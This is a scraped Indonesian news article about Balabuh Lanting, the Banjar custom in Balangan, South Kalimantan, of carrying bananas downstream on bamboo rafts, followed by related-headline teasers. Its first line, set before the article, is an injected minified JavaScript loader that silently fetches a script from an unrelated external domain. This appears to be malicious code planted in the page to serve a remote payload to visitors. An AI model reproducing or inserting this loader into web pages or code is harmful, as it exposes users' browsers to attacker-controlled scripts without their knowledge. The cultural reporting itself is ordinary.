(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sungai menjadi bagian kehidupan yang tak terpisahkan bagi masyarakat Kalimantan Selatan. Hal ini tidak terlepas dari keberadan sungai yang melewati hampir di semua pelosok wilayah Bumi Antasari.
Konon, sungai inilah yang banyak berperan membentuk kehidupan sosial orang Banjar. Dari dulu hingga sekarang. Bahkan di era milenial sekarang pun, kita masih bisa menemukan kehidupan sosial orang Banjar terkait dengan sungai yang masih bertahan seperti Pasar Terapung dan Rumah Terapung.
Dilansir dari habarbudaya.com, bukan hanya Pasar Terapung dan Rumah Terapung keterikatan kehidupan sosial masyarakat orang Banjar dengan sungai. Kita juga bisa dapati di daerah Hulu Sungai, yang lazimnya jumlah sungai tidak sebanyak daerah hilir atau pesisir, yakni kegiatan masyarakat membawa hasil kebun dengan mengunakan rakit bambu (Lanting) menyusuri sungai dari hulu ke hilir.
Aktivas ini dikenal luas oleh masyarakat Banjar khususnya Banua Enam, terlebih lagi di Kabupaten Balangan dengan sebutan Balabuh Lanting atau Malabuh Lanting. Bahkan aktivias ini dibuat dalam satu buah pantun khusus yang menceritakan kegiatan tersebut.
Tulak bajalan kapahuluan, sampai di Halong umpat bamalam
Balarut banyu balanting pisang, pisangnya talas sanggu bulikan
Balangan sayang sungai nan panjang arus malintang di Bumi Sanggam
Itulah sepenggal lirik lagu “Balangan Sayang†yang meceritakan nuansa alam dan kehidupan masyarakat Balangan tempo dulu.
Salah satunya aktivitas masyarakat Balangan khususnya yang bertempat tinggal di daerah hulu (atas) yang ramai dilakuan yakni membawa pisang pakai rakit bambu atau sering disebut Malabuh Pisang ba Lanting Paring. Yakni membawa pisang mengunakan rakit bambu dari Kecamatan Halong, Juai Awayan maupun tebing tinggi ke Amuntai HSU.
Namun sayang, sejak akhir tahun 2000 lalu aktivitas membawa pisang mengunakan lanting paring ini sudah sangat jarang ada karena masyarakat mangakut pisang lewat akses darat mengunakan mobil. Namun aktivitas Balabuh Lanting masih ada, namun hanya membawa lanting dengan jumlah bambunya yang banyak tanpa ada muatan buah pisangnya. Sama seperti dulu, bambu ini juga dijual ke Amuntai untuk bahan kerajinan namun bedanya tanpa ada muatan pisangnya.
Aktivitas Malabuh Pisang ba Lanting Paring ini, biasanya dilakukan saat panen pisang dan air sungai Batang Balangan debit airnya tinggi. Rentang waktu yang diperlukan untuk sekali membawa pisang mengunakan rakit ini, bisa memajin waktu dua hari, jadi para pembawa rakit ini harus bermalam di atas rakit dan mengaharuskan mareka membawa bekal bahkan, memasak diatas rakit.
Momen lainnya, sering kali para pembawa pisang mengunakan rakit ini dimintai buah pisangnya oleh anak-anak yang sedang mandi sambil bermain di sepanjang sungai Batang Balangan. Paman minta pisang, begitulah teriakan anak-anak jika melihat rakit membawa pisang, biasanya secara spontan si pemilik rakit yang membawa pisang pun memberikan pisang kepada anak-anak dengan cara melemparkannya ke pinggir sungai dan mareka pun berebut mengambilnya.(gie/hb)
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More
This website uses cookies.